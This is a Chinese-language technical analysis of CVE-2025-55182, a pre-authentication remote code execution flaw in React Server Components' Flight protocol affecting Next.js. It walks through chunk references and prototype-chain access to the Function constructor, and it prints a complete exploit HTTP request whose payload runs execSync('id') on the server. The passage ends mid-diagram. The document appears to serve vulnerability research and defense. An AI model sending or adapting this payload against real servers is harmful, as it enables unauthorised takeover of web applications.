| 项目 | 内容 |
|---|---|
| CVE编号 | CVE-2025-55182 |
| 漏洞类型 | 远程代码执行 (RCE) |
| 漏洞组件 | React Flight Protocol (react-server-dom-webpack) |
| 受影响版本 | react-server-dom-webpack 19.0.0 - 19.2.0, Next.js 15.x/16.x |
| CVSS评分 | 9.8 (Critical) |
| 认证要求 | 无需认证 (Pre-auth) |
React Server Components 是 React 18+ 引入的一种新型组件模型,允许组件在服务端渲染并将结果流式传输到客户端。与传统 SSR 不同,RSC 可以:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌─────────────────────────────────────────────────────────────────┐
│ React Server Components 架构 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ Browser │ ←─────→ │ Server │ │
│ │ │ HTTP │ │ │
│ │ ┌──────────┐ │ │ ┌──────────┐ │ │
│ │ │ Client │ │ │ │ Server │ │ │
│ │ │Components│ │ │ │Components│ │ │
│ │ └──────────┘ │ │ └──────────┘ │ │
│ │ ↑ │ │ ↓ │ │
│ │ │ │ │ ┌────────┐ │ │
│ │ └───────┼─────────┼──│ Flight │ │ │
│ │ Flight │ │ │Protocol│ │ │
│ │ Protocol │ │ └────────┘ │ │
│ └──────────────┘ └──────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
Server Functions(在 Next.js 中称为 Server Actions)是 React 19 引入的 RPC-over-HTTP 机制,允许客户端像调用本地函数一样调用服务端函数。
1
2
3
4
5
6
7
8
9
// app/actions.js
'use server' // 标记为 Server Function
export async function submitForm(formData) {
// 这段代码只在服务端执行
const name = formData.get('name');
await db.users.create({ name });
return { success: true };
}
1
2
3
4
5
6
7
8
9
10
11
12
13
// app/page.jsx (Client Component)
'use client'
import { submitForm } from './actions';
export default function Form() {
async function handleSubmit(e) {
e.preventDefault();
const formData = new FormData(e.target);
// 看起来像本地调用,实际是 HTTP POST
const result = await submitForm(formData);
}
return <form onSubmit={handleSubmit}>...</form>;
}
当客户端调用 submitForm(formData) 时,React 实际执行:
1
2
3
4
5
6
7
8
1. 客户端序列化参数 → Flight Protocol 格式
2. 发送 HTTP POST 请求到当前页面 URL
3. 请求头包含 Next-Action: <action-id>
4. 请求体是 multipart/form-data(Flight 格式)
5. 服务端反序列化参数
6. 执行对应的 Server Function
7. 序列化返回值 → Flight Protocol 格式
8. 客户端反序列化结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /page-url HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxk
Next-Action: 1a2b3c4d5e6f7890abcdef1234567890abcdef12
Next-Router-State-Tree: [encoded-tree]
------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="1_$ACTION_ID_1a2b3c..."
------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="0"
["$K1"]
------WebKitFormBoundary7MA4YWxk--
| Header | 说明 | 示例 |
|---|---|---|
Next-Action |
Server Action 的唯一标识符(40字符哈希) | 1a2b3c4d... |
Content-Type |
必须是 multipart/form-data |
multipart/form-data; boundary=... |
Next-Router-State-Tree |
路由状态(可选) | [encoded] |
Action ID 是 Server Function 的唯一标识符,由以下因素计算:
1
2
3
4
5
6
7
// Next.js 内部生成逻辑(简化)
actionId = hash(
filePath + // 文件路径: "app/actions.js"
exportName + // 导出名: "submitForm"
functionBody // 函数体哈希
);
// 结果: "1a2b3c4d5e6f7890abcdef1234567890abcdef12"
tips: Next.js 只有知道有效 Action ID 的请求才是合法的。但 CVE-2025-55182 这个漏洞在验证 Action ID 之前就触发了。
Flight 是 React 团队设计的自定义流式序列化协议,用于在服务端和客户端之间传输 React 组件树、数据和引用。它是 React Server Components 的核心通信机制。
| 目标 | 说明 |
|---|---|
| 流式传输 | 支持边渲染边传输,无需等待完整响应 |
| 引用共享 | 相同数据只传输一次,通过 ID 引用 |
| 类型保留 | 保留 React 特有类型(Promise、组件、函数引用等) |
| 紧凑高效 | 比纯 JSON 更紧凑,减少传输体积 |
| 双向支持 | 服务端→客户端(渲染)和客户端→服务端(Server Actions) |
1
2
3
4
5
6
7
8
9
10
// 普通 JSON - 无法表示引用、Promise、函数等
{
"user": {"name": "Alice"},
"posts": [{"author": {"name": "Alice"}}] // user 重复传输
}
// Flight 协议 - 支持引用共享
0:{"name":"Alice"} // Chunk 0: user 对象
1:{"author":"$0"} // Chunk 1: 引用 Chunk 0
2:{"user":"$0","posts":["$1"]} // Chunk 2: 根对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌─────────────────────────────────────────────────────────────────────────┐
│ Flight 协议使用场景 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 场景 1: 页面渲染 (Server → Client) │
│ ┌────────────┐ Flight Response ┌────────────┐ │
│ │ Server │ ─────────────────────→ │ Client │ │
│ │ Components │ (组件树 + 数据) │ Hydrate │ │
│ └────────────┘ └────────────┘ │
│ │
│ 场景 2: Server Actions (Client → Server → Client) │
│ ┌────────────┐ Flight Request ┌────────────┐ │
│ │ Client │ ─────────────────────→ │ Server │ │
│ │ Action │ (函数参数) │ Action │ │
│ └────────────┘ └────────────┘ │
│ ↑ │ │
│ │ Flight Response │ │
│ └───────────────────────────────────────┘ │
│ (返回值) │
│ │
└─────────────────────────────────────────────────────────────────────────┘
Flight 响应是多行文本流,每行格式为:
| 部分 | 说明 | 示例 |
|---|---|---|
id |
Chunk 的数字标识符 | 0, 1, 42 |
type |
单字符类型标识(可选) | I, H, :, S, E 等 |
data |
JSON 或特殊格式数据 | {"name":"test"} |
| 类型 | 含义 | 示例 |
|---|---|---|
| (无) | 模型数据(JSON) | 0:{"name":"Alice"} |
I |
模块导入 | 0:I{"id":"./page.js","name":"default"} |
H |
提示/指令 | 0:H["prefetch","/api"] |
S |
Symbol | 0:S"react.element" |
E |
错误 | 0:E{"message":"Error"} |
1
2
3
4
0:I{"id":"./app/page.js","name":"default","chunks":["app/page"]}
1:{"name":"Alice","age":25}
2:["$","div",null,{"children":[["$","h1",null,{"children":"Hello"}],"$L3"]}]
3:{"user":"$1","loading":false}
解读:
./app/page.js$L3 是延迟加载引用$1 引用行 1 的用户数据Chunk(块)是 Flight 协议的核心数据单位。每个 Chunk:
$ 引用其他 Chunk1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌─────────────────────────────────────────────────────────────────────────┐
│ Chunk 状态转换图 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ │
│ │ pending │ ← 初始状态,等待数据到达 │
│ └──────┬──────┘ │
│ │ │
│ │ 收到 Flight 行数据 │
│ ▼ │
│ ┌─────────────────┐ │
│ │ resolved_model │ ← 有原始 JSON 字符串,待解析 │
│ └────────┬────────┘ │
│ │ │
│ │ 被 await 或访问 .value 时 │
│ │ 调用 initializeModelChunk() │
│ ▼ │
│ ┌──────────────────────────────────────────┐ │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────┐ ┌─────────────┐ │
│ │ fulfilled │ ← 解析成功,有最终值 │ rejected │ ← 解析失败 │
│ │ │ │ │ │
│ │ chunk.value │ │chunk.reason │ │
│ │ = 解析结果 │ │ = Error │ │
│ └─────────────┘ └─────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// React 源码: packages/react-client/src/ReactFlightClient.js
// Chunk 本质是一个 ReactPromise 对象
function ReactPromise(status, value, reason, response) {
this.status = status; // "pending" | "resolved_model" | "fulfilled" | "rejected"
this.value = value; // pending 时是监听器数组,fulfilled 时是解析结果
this.reason = reason; // pending 时是监听器数组,rejected 时是错误
this._response = response; // 所属的 Response 对象
}
// Chunk 继承 Promise 行为
ReactPromise.prototype = Object.create(Promise.prototype);
// 关键的 then 方法实现
ReactPromise.prototype.then = function(resolve, reject) {
var chunk = this;
switch (chunk.status) {
case "fulfilled":
resolve(chunk.value);
break;
case "pending":
case "blocked":
// 添加到监听器队列
if (resolve) chunk.value.push(resolve);
if (reject) chunk.reason.push(reject);
break;
case "resolved_model":
// ⚠️ 关键:触发解析
initializeModelChunk(chunk);
// 解析后递归处理
chunk.then(resolve, reject);
break;
case "rejected":
reject(chunk.reason);
break;
}
};
每个 Flight 解析会话有一个 Response 对象,管理所有 Chunk:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function createResponse(bundlerConfig, formData, prefix) {
return {
_bundlerConfig: bundlerConfig, // Webpack/Turbopack 配置
_formData: formData, // 原始 FormData(Server Action)
_prefix: prefix, // Chunk ID 前缀
_chunks: new Map(), // id → Chunk 映射
_closed: false, // 流是否关闭
_closedReason: null, // 关闭原因
};
}
// 从 Response 获取或创建 Chunk
function getChunk(response, id) {
let chunk = response._chunks.get(id);
if (!chunk) {
// 从 FormData 获取数据
const data = response._formData.get(response._prefix + id);
if (data != null) {
chunk = new ReactPromise("resolved_model", data, id, response);
} else {
chunk = new ReactPromise("pending", [], [], response);
}
response._chunks.set(id, chunk);
}
return chunk;
}
Flight 协议使用 $ 前缀系统来表示特殊值。当解析 JSON 时,如果字符串以 $ 开头,会进行特殊处理。
| 前缀 | 名称 | 语法 | 作用 | 处理逻辑 |
|---|---|---|---|---|
$ |
Chunk 引用 | "$123" |
引用 chunk 123 的解析值 | getChunk(123).value |
$@ |
原始 Chunk | "$@123" |
获取 chunk 对象本身 | getChunk(123) (不解引用) |
$L |
Lazy 引用 | "$L123" |
惰性加载的 chunk | 返回 lazy wrapper |
$F |
Server Function | "$F123" |
服务端函数引用 | 创建代理函数 |
$B |
Blob 数据 | "$B123" |
二进制数据 | formData.get(prefix + "123") |
$K |
FormData | "$K123" |
FormData 引用 | 解析 FormData |
$Q |
Map 引用 | "$Q123" |
Map 数据结构 | 解析为 Map |
$W |
Set 引用 | "$W123" |
Set 数据结构 | 解析为 Set |
$n |
Number | "$n123" |
大数字 | BigInt(123) |
$u |
undefined | "$undefined" |
undefined 值 | undefined |
$D |
Date | "$D2024-01-01" |
日期对象 | new Date(...) |
$$ |
转义 | "$$abc" |
字面量 $abc |
"$abc" (去掉一个 $) |
除了简单引用,Flight 还支持链式属性访问:
1
2
3
// 语法: "$<chunkId>:<key1>:<key2>:..."
// 示例: "$1:user:profile:name"
// 等价于: getChunk(1).value.user.profile.name
解析代码(漏洞所在):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function parseModelString(response, parentObj, key, value) {
if (value[0] === '$') {
switch (value[1]) {
case '$':
return value.slice(1); // 转义
case '@':
// 原始 chunk 引用
return getChunk(response, parseInt(value.slice(2), 16));
case 'B':
// Blob 处理 ⚠️ 攻击利用点
var id = parseInt(value.slice(2), 16);
return response._formData.get(response._prefix + id);
// ... 其他类型
default:
// 链式引用: "$1:key1:key2"
var ref = value.slice(1);
var colonIdx = ref.indexOf(':');
if (colonIdx > -1) {
var id = parseInt(ref.slice(0, colonIdx), 16);
var path = ref.slice(colonIdx + 1);
var chunk = getChunk(response, id);
// ⚠️ 漏洞: 直接访问属性链,无 hasOwnProperty 检查
return loadServerReference(chunk, path);
}
return getChunk(response, parseInt(ref, 16));
}
}
return value;
}
$ vs $@ 的本质区别这是理解漏洞的关键:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 假设 Chunk 0 的原始数据是: '{"name": "Alice"}'
// ===== "$0" - 普通引用 =====
// 返回解析后的 JavaScript 值
parseModelString("$0")
// 执行流程:
// 1. getChunk(0) → Chunk 对象
// 2. 如果 status 是 "resolved_model",调用 initializeModelChunk
// 3. 返回 chunk.value (解析后的值)
// 结果: { name: "Alice" } ← 普通 JS 对象
// ===== "$@0" - 原始 Chunk 引用 =====
// 返回 Chunk 对象本身,不解析
parseModelString("$@0")
// 执行流程:
// 1. getChunk(0) → Chunk 对象
// 2. 直接返回(不调用 initializeModelChunk)
// 结果:
ReactPromise {
status: "resolved_model",
value: '{"name": "Alice"}',
reason: null,
_response: Response {...},
__proto__: ReactPromise.prototype // ⚠️ 可访问原型链!
}
安全影响: $@ 让攻击者能获取内部 Chunk 对象,从而访问:
Chunk.__proto__ → ReactPromise.prototypeChunk.__proto__.then → ReactPromise.prototype.then 方法Chunk.__proto__.constructor → Object → Function1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function getChunk(response, id) {
var chunks = response._chunks;
var chunk = chunks.get(id);
if (!chunk) {
// Chunk 不存在,尝试从 FormData 获取
var formData = response._formData;
if (formData) {
var data = formData.get(response._prefix + id);
if (data != null) {
// 创建 resolved_model 状态的 Chunk
chunk = new ReactPromise(
"resolved_model", // status
data, // value (原始 JSON 字符串)
id, // reason (这里存 id)
response // response
);
}
}
if (!chunk) {
// 创建 pending 状态的 Chunk
chunk = createPendingChunk(response);
}
chunks.set(id, chunk);
}
return chunk;
}
漏洞利用点: 攻击者通过 FormData 提供的数据会被直接用于创建 Chunk,data 参数完全可控。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function initializeModelChunk(chunk) {
var response = chunk._response;
var value = chunk.value; // 原始 JSON 字符串
try {
// 解析 JSON,过程中处理 $ 引用
var parsed = parseModel(response, value);
// 更新 Chunk 状态
chunk.status = "fulfilled";
chunk.value = parsed;
} catch (error) {
chunk.status = "rejected";
chunk.reason = error;
}
}
攻击利用: 攻击者可以构造特殊的 JSON,让 parseModel 执行危险操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ReactPromise.prototype.then = function(resolve, reject) {
var chunk = this;
switch (chunk.status) {
case "fulfilled":
// 已解析,直接返回值
if (resolve) resolve(chunk.value);
break;
case "pending":
case "blocked":
// 等待中,注册回调
if (resolve) chunk.value.push(resolve);
if (reject) chunk.reason.push(reject);
break;
case "resolved_model":
// ⚠️ 关键: 需要解析
initializeModelChunk(chunk);
// 解析后递归处理
if (chunk.status === "fulfilled") {
if (resolve) resolve(chunk.value);
} else if (chunk.status === "rejected") {
if (reject) reject(chunk.reason);
}
break;
case "rejected":
if (reject) reject(chunk.reason);
break;
}
};
攻击利用: 当 await 一个 thenable 对象时,JavaScript 会调用其 then 方法。攻击者构造一个假 Chunk 对象,设置 status: "resolved_model" 和恶意 value,当被 await 时会触发 initializeModelChunk。
漏洞存在于 react-server-dom-webpack 包的 Flight 协议解析代码中,具体在处理链式属性引用时。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 简化的漏洞代码
function loadServerReference(chunk, path) {
// path = "key1:key2:key3"
var keys = path.split(':');
var value = chunk.value; // 起始值
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
// ⚠️ 漏洞: 直接使用方括号访问
// 没有检查 key 是否是对象自身属性
value = value[key];
}
return value;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
const obj = { name: "test" };
// 自身属性
obj.name // "test"
obj.hasOwnProperty("name") // true
// 继承属性(来自原型链)
obj.toString // [Function: toString]
obj.hasOwnProperty("toString") // false ← 不是自身属性
// __proto__ 是特殊属性
obj.__proto__ // Object.prototype
obj.hasOwnProperty("__proto__") // false
1
2
3
4
5
6
7
8
9
10
11
12
13
// 正常访问
obj["name"] // "test" ✓
// 攻击者输入 "__proto__"
obj["__proto__"] // Object.prototype ← 访问到原型!
obj["__proto__"]["constructor"] // Object
obj["__proto__"]["constructor"]["constructor"] // Function!
// 有 hasOwnProperty 检查时
if (obj.hasOwnProperty("__proto__")) {
return obj["__proto__"];
}
// 不会执行,因为 __proto__ 不是自身属性
1
2
3
4
5
6
7
8
9
10
11
12
13
// 任意对象都可以通过原型链获取 Function
const anyObj = {};
anyObj.__proto__ // Object.prototype
.constructor // Object
.constructor // Function ← 获得!
// 或者更直接
anyObj.constructor.constructor // Function
// 利用 Function 执行代码
const evil = Function("return process.mainModule.require('child_process').execSync('id')");
evil(); // 执行系统命令
这是漏洞利用的精妙之处:
1
2
3
4
5
6
7
8
9
10
11
// Chunk 1 的值设为 "$@0"(原始 Chunk 引用)
// 解析后,Chunk 1 的 value 是 Chunk 0 对象本身
// 当访问 "$1:__proto__:then" 时:
const chunk1Value = parseModelString("$@0");
// chunk1Value = ReactPromise { status, value, ... }
chunk1Value.__proto__ // ReactPromise.prototype
.then // ReactPromise.prototype.then 方法!
// 现在攻击者可以把这个方法赋给伪造对象的 then 属性
通过原型链,攻击者可以获取:
| 引用路径 | 获得的值 | 用途 |
|---|---|---|
$1:__proto__:then |
Chunk.prototype.then |
让伪造对象成为合法 thenable |
$1:constructor:constructor |
Function |
动态创建并执行代码 |
$1:__proto__:constructor |
Object |
获取 Object 构造函数 |
$1:__proto__:constructor:prototype |
Object.prototype |
访问所有对象的原型 |
攻击者的最终目标是在服务端执行任意代码。要实现这一目标,需要:
Function 构造函数 - 用于动态创建可执行代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST / HTTP/1.1
Host: vulnerable-nextjs-app.com
Content-Type: multipart/form-data; boundary=----FormBoundary
Next-Action: x
------FormBoundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"throw new Error(require('child_process').execSync('id').toString());","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------FormBoundary
Content-Disposition: form-data; name="1"
"$@0"
------FormBoundary
Content-Disposition: form-data; name="2"
[]
------FormBoundary--
| Header | 值 | 作用 |
|---|---|---|
Content-Type |
multipart/form-data |
Flight 协议使用 FormData 传输 |
Next-Action |
x |
任意值,触发 Server Action 处理流程 |
关键点: Next-Action: x 不是有效的 Action ID,但漏洞在验证 Action ID 之前就触发了!
攻击 payload 由 3 个 Chunk 组成,每个都有特定作用:
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "throw new Error(require('child_process').execSync('id').toString());",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
各字段详细解析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "then": "$1:__proto__:then" │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 让伪造对象拥有真正的 Chunk.prototype.then 方法 │
│ │
│ 解析过程: │
│ "$1:__proto__:then" │
│ ↓ 解析 $1 │
│ getChunk(1).value = "$@0" 的解析结果 = Chunk 0 对象本身 │
│ ↓ 访问 __proto__ │
│ Chunk 0 对象.__proto__ = ReactPromise.prototype │
│ ↓ 访问 then │
│ ReactPromise.prototype.then = 真正的 then 方法 ✓ │
│ │
│ 结果: 伪造对象的 then 属性 = ReactPromise.prototype.then │
│ 这让伪造对象成为一个"合法"的 thenable │
└─────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "status": "resolved_model" │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 当 then() 被调用时,触发 initializeModelChunk() │
│ │
│ 原理: ReactPromise.prototype.then 的实现: │
│ switch (this.status) { │
│ case "resolved_model": │
│ initializeModelChunk(this); // ← 会被触发! │
│ break; │
│ } │
│ │
│ 结果: await 伪造对象时,会解析其 value 字段 │
└─────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "reason": -1 │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 某些代码路径检查此字段,-1 避免类型错误 │
└─────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "value": "{\"then\":\"$B1337\"}" │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 内层 payload,被 initializeModelChunk 解析 │
│ │
│ 内容: {"then": "$B1337"} │
│ │
│ 解析后: { then: <$B1337 的结果> } │
│ │
│ $B1337 的处理: │
│ case 'B': │
│ return response._formData.get(response._prefix + "1337"); │
│ │
│ 由于 _formData.get = Function, _prefix = "恶意代码;" │
│ 所以: Function("恶意代码;1337") → 返回一个函数 │
│ │
│ 最终: value 解析为 { then: <恶意函数> } │
│ 这是一个 thenable,被 await 时会执行 then() │
└─────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────┐
│ 字段: "_response": {...} │
├─────────────────────────────────────────────────────────────────────────┤
│ 目的: 伪造的 Response 对象,initializeModelChunk 会使用它 │
│ │
│ 子字段: │
│ │
│ "_prefix": "throw new Error(require('child_process').execSync('id')...);│
│ → 要执行的恶意代码(不以分号结尾,因为会拼接 ID) │
│ │
│ "_chunks": "$Q2" │
│ → 指向空数组,避免遍历 _chunks 时报错 │
│ │
│ "_formData": {"get": "$1:constructor:constructor"} │
│ → get 属性 = Function 构造函数 │
│ → 解析: getChunk(1) → Chunk0对象 → constructor → Object → constructor │
│ → Function │
└─────────────────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌─────────────────────────────────────────────────────────────────────────┐
│ 解析: "$@0" │
├─────────────────────────────────────────────────────────────────────────┤
│ $@ 前缀表示"获取原始 Chunk 对象" │
│ │
│ 返回值: Chunk 0 的 ReactPromise 对象本身(不是解析后的值) │
│ │
│ 结构: │
│ ReactPromise { │
│ status: "resolved_model", │
│ value: '{"then":"$1:__proto__:then",...}', │
│ _response: Response {...}, │
│ __proto__: ReactPromise.prototype ← 可访问原型链! │
│ } │
│ │
│ 用途: │
│ 1. $1:__proto__:then → 获取 ReactPromise.prototype.then │
│ 2. $1:constructor:constructor → 获取 Function 构造函数 │
└─────────────────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
┌─────────────────────────────────────────────────────────────────────────┐
│ 用途: 作为 _chunks 的值(通过 $Q2 引用) │
├─────────────────────────────────────────────────────────────────────────┤
│ 原因: initializeModelChunk 可能会迭代 _response._chunks │
│ 提供空数组避免迭代时出现类型错误 │
└─────────────────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// next/dist/server/app-render/action-handler.js
export async function handleAction(req, res, ...) {
// 1. 检查是否是 Server Action 请求
const actionId = req.headers['next-action']; // "x"
if (!actionId) return; // 不是 Action 请求
// 2. ⚠️ 关键: 先反序列化,再验证 Action ID
let boundActionArguments;
if (isMultipartAction) {
// 使用 Busboy 解析 multipart 数据
const formData = await parseMultipartFormData(req);
// 调用 Flight 协议反序列化
boundActionArguments = await decodeReplyFromBusboy(formData);
// ↑ 漏洞在这里触发,程序不会执行到下面
}
// 3. 验证 Action ID(永远不会执行到)
const action = await getAction(actionId);
if (!action) {
throw new Error('Invalid Server Action');
}
}
关键: 反序列化发生在验证 Action ID 之前,这是 Pre-auth 的原因。
1
2
3
4
5
6
7
8
9
10
11
// react-server-dom-webpack/src/ReactFlightDOMServerNode.js
function decodeReplyFromBusboy(formData) {
// 创建 Response 对象
const response = createResponse(bundlerConfig, formData, "");
// 获取根 Chunk (ID=0)
const root = getChunk(response, 0);
// 返回 root,它是一个 thenable
return root;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function getChunk(response, id) { // id = 0
let chunk = response._chunks.get(id); // undefined
if (!chunk) {
// 从 FormData 获取数据
const data = response._formData.get("0");
// data = '{"then":"$1:__proto__:then",...}'
// 创建 Chunk
chunk = new ReactPromise(
"resolved_model", // status
data, // value = 恶意 JSON 字符串
0, // reason = id
response // response
);
response._chunks.set(0, chunk);
}
return chunk; // 返回 Chunk 0
}
1
2
3
4
5
6
7
// 在 action-handler.js 中
const args = await decodeReplyFromBusboy(formData);
// ↑ await 一个 thenable 会调用其 then 方法
// 实际执行:
chunk0.then(resolve, reject);
// chunk0 是真正的 ReactPromise,所以调用 ReactPromise.prototype.then
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// ReactPromise.prototype.then
Chunk.prototype.then = function(resolve, reject) {
switch (this.status) { // "resolved_model"
case "resolved_model":
initializeModelChunk(this); // ← 触发!
break;
}
};
// initializeModelChunk
function initializeModelChunk(chunk) {
const response = chunk._response; // 真正的 Response
const json = chunk.value; // '{"then":"$1:__proto__:then",...}'
// 解析 JSON
const parsed = parseModel(response, json);
// parsed = 伪造的 Chunk 对象
chunk.status = "fulfilled";
chunk.value = parsed;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// parseModel 解析 JSON,遇到 "$1:__proto__:then"
function parseModelString(response, value) {
// value = "$1:__proto__:then"
if (value[0] === '$') {
// 解析链式引用
var ref = value.slice(1); // "1:__proto__:then"
var colonIdx = ref.indexOf(':'); // 1
var id = parseInt(ref.slice(0, colonIdx)); // 1
var path = ref.slice(colonIdx + 1); // "__proto__:then"
// 获取 Chunk 1
var chunk1 = getChunk(response, 1);
// Chunk 1 的 value = '"$@0"'
// 解析后 = Chunk 0 对象本身
var value = resolveChunk(chunk1); // Chunk 0 对象
// 遍历路径 "__proto__:then"
var keys = path.split(':'); // ["__proto__", "then"]
for (var key of keys) {
value = value[key]; // ⚠️ 没有 hasOwnProperty 检查!
}
// value["__proto__"] = ReactPromise.prototype
// value["then"] = ReactPromise.prototype.then
return value; // 返回真正的 then 方法!
}
}
1
2
3
4
5
6
7
8
// 解析 "$1:constructor:constructor"
var chunk1Value = resolveChunk(getChunk(1)); // Chunk 0 对象
var value = chunk1Value;
value = value["constructor"]; // Object (因为 Chunk 0 是对象)
value = value["constructor"]; // Function!
// 现在 _formData.get = Function 构造函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 解析完成后,Chunk 0 的 value 变成:
const fakeChunk = {
then: ReactPromise.prototype.then, // 真正的 then 方法
status: "resolved_model",
reason: -1,
value: '{"then":"$B1337"}',
_response: {
_prefix: "throw new Error(require('child_process').execSync('id').toString());",
_chunks: [],
_formData: {
get: Function // Function 构造函数!
}
}
};
1
2
3
4
5
6
7
8
9
10
11
// initializeModelChunk 完成后,chunk0.value = fakeChunk
// 但 fakeChunk 也是 thenable(有 then 方法)
// 当处理完成后,会 await fakeChunk
await fakeChunk;
// 这会调用:
fakeChunk.then(resolve, reject);
// 由于 fakeChunk.then === ReactPromise.prototype.then
// 等价于:
ReactPromise.prototype.then.call(fakeChunk, resolve, reject);
1
2
3
4
5
6
7
8
9
10
11
12
// ReactPromise.prototype.then 检查 this.status
// fakeChunk.status === "resolved_model"
// 所以再次调用 initializeModelChunk
function initializeModelChunk(chunk) { // chunk = fakeChunk
const response = chunk._response; // 伪造的 _response!
const json = chunk.value; // '{"then":"$B1337"}'
// 解析这个 JSON
const parsed = parseModel(response, json);
// 遇到 "$B1337"...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// parseModelString 解析 "$B1337"
function parseModelString(response, value) {
// value = "$B1337"
if (value[0] === '$' && value[1] === 'B') {
var id = value.slice(2); // "1337"
// 调用 response._formData.get(response._prefix + id)
// response = fakeChunk._response (伪造的!)
// response._formData.get = Function
// response._prefix = "throw new Error(...);"
return response._formData.get(response._prefix + id);
// ↓ 等价于:
return Function("throw new Error(require('child_process').execSync('id').toString());1337");
}
}
1
2
3
4
5
6
7
8
9
10
// Function 构造函数被调用
const maliciousFunction = Function(
"throw new Error(require('child_process').execSync('id').toString());1337"
);
// 这创建了一个函数:
function anonymous() {
throw new Error(require('child_process').execSync('id').toString());
1337 // 这行语法正确但不会执行
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// parseModel 返回:
const innerResult = {
then: maliciousFunction // 函数对象
};
// innerResult 是 thenable(then 是函数)
// 当被 await 时:
await innerResult;
// JavaScript 会调用:
innerResult.then(resolve, reject);
// 等价于:
maliciousFunction(resolve, reject);
// 函数执行!
// require('child_process').execSync('id') 在服务器上运行!
// 命令执行结果通过 throw Error 返回给攻击者
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
HTTP POST /
│
▼
handleAction()
│
▼
decodeReplyFromBusboy()
│
▼
getChunk(0) ─────────────────────────────────────────────┐
│ │
▼ │
await chunk0 ← chunk0.then() │
│ │
▼ │
ReactPromise.prototype.then() │
│ status === "resolved_model" │
▼ │
initializeModelChunk(chunk0) │
│ │
▼ │
parseModel('{"then":"$1:__proto__:then",...}') │
│ │
├──→ 解析 "$1:__proto__:then" │
│ │ │
│ ▼ │
│ getChunk(1) → 解析 "$@0" → Chunk0 对象 ─────────┘
│ │
│ ▼
│ Chunk0.__proto__ → ReactPromise.prototype
│ │
│ ▼
│ ReactPromise.prototype.then ← 返回
│
├──→ 解析 "$1:constructor:constructor"
│ │
│ ▼
│ Chunk0.constructor.constructor → Function ← 返回
│
▼
chunk0.value = fakeChunk(伪造对象)
│
▼
await fakeChunk ← fakeChunk.then()
│
▼
ReactPromise.prototype.then.call(fakeChunk)
│ fakeChunk.status === "resolved_model"
▼
initializeModelChunk(fakeChunk)
